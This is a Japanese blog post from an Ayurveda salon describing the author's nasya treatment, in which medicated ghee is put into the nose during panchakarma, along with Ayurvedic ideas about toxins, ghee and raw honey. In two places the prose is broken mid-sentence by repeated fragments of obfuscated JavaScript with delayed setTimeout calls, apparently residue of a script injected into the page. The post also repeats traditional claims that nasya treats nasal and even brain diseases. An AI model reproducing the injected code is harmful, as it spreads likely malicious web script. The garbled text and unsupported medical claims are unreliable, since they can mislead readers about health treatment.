パンチャカルマ第3回 ナスヤ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
パンチャカルマ、前半のトリートメント3つ目は、
「ナスヤ」です。
と、その説明の前に、アーユルヴェーダの考え方を1つ。
アーユルベーダでは、未消化物や毒素のことを
「アーマ」と言います。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

アーマとは、体の中(心身共に)で
消化・代謝し切れなかったもの全般をさし、
これが、体中の様々な「管(くだ)」を詰まらせることが
病気の始まりと考えるのです。
つまり、パンチャカルマは、ハーブを煮出したオイルなどで
体中の「管」にたまったアーマを溶かし出し
体の外に排出させたり、浄化することが目的。
これにより、心身ともに軽くなり、病気を未然に防ぐほか、
体が本来持つ自然治癒力が高まり、
丈夫で健全な体と心を取り戻せると考えるのです。
「ナスヤ」は、そんなパンチャカルマの核となる
「中心処置」と言われる大切な1つ。
前処置で溶かし出された「頭から首まで」のアーマを
排出・浄化させるものです。
ちなみに、ピリチリやシロダラーは、
セラピストさんが施術してくれますが、
これは、ドクターが直々に行ってくれました。
その方法は・・・
まず最初に、フェイスオイルで顔をマッサージします。
と言ってもインドですから、気持ちよく・・・なんて
甘いものではありません。グイグイ行きます。(笑)
そして次に、スチームを顔からデコルテ全体にあてて
管(スロータスと言います)を開かせます。
ここからが本番。
ベッドに横になるとドクターの出番です。
彼女は、私のあごを少し上げ、
鼻の穴を片方指で押さえると、もう一方の鼻の穴に
ギーと言うバターをベースにした薬を入れます!
鼻からバターですよ、バター!!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}(簡略化しすぎ)
入れると、ドクターが「吸って!吸って!」と言うので、
ドンドン吸うと、また少し入れる…を数回。
すると、薬が喉の方まで入っていって
口の中にもバターの匂いが…
ハッキリ言って、超不味いです・・・[emoji:e-260] しばらくすると、のどや鼻にいろいろ降りてくるので
それを、うがいして吐き出し、鼻をかみ、
どんどん出していくという感じ。
人によっては、喉が痛くなったり、
鼻水が泊まらなくなったりするそう。
私も、タバコをやめる前は、
頻繁に喉や鼻から出血してたので、
あの頃だったら大変だったのでは…と思いました。
また、このギーというバターは料理にも使うし、
ナスヤみたいにお薬のベースとしても使われるもの。
アーユルヴェーダ的にはお勧めの食材なので
私も、インドから買ってきました!
左がギーで、右がはちみつです。
はちみつも、アーユルヴェーダ的にお勧めなのですが、
ポイントは加熱処理してないこと!
加熱処理してあるはちみつは、
むしろ体に良くないと考えられています。
ギーとはちみつ
ギーは、普通のバターとちがうんですけど
詳しくはウィキペディアでどうぞ。
ちなみに、アーユルヴェーダでは、
「鼻は脳への入り口」と言われるそうで、
頭から首までの毒素は全部、鼻から出ると考えます。
ですからインドでは、
ナスヤは花粉症などの鼻の疾患はもちろん、
脳の病気にまで利くと考えられているそうです。
それにしても、
「管(スロータス)を開かせて、薬を入れて、
アーマを浄化する」って考え方は、考えると
ピリチリなどの、「オイルを皮膚から浸透させて
アーマを浄化する」って言うのと根本的には同じ。
つまり、体に薬液を浸透させ、そして排出…
西洋医学では、思いもつかない斬新な考え方ですよねー
これが、アーユルヴェーダの面白さなんです。
さあ、パンチャカルマも、いよいよ後半。
もっとすごい処方が出てきます!
続く・・・
アーユルヴェーダサロンmanas 《マナス》

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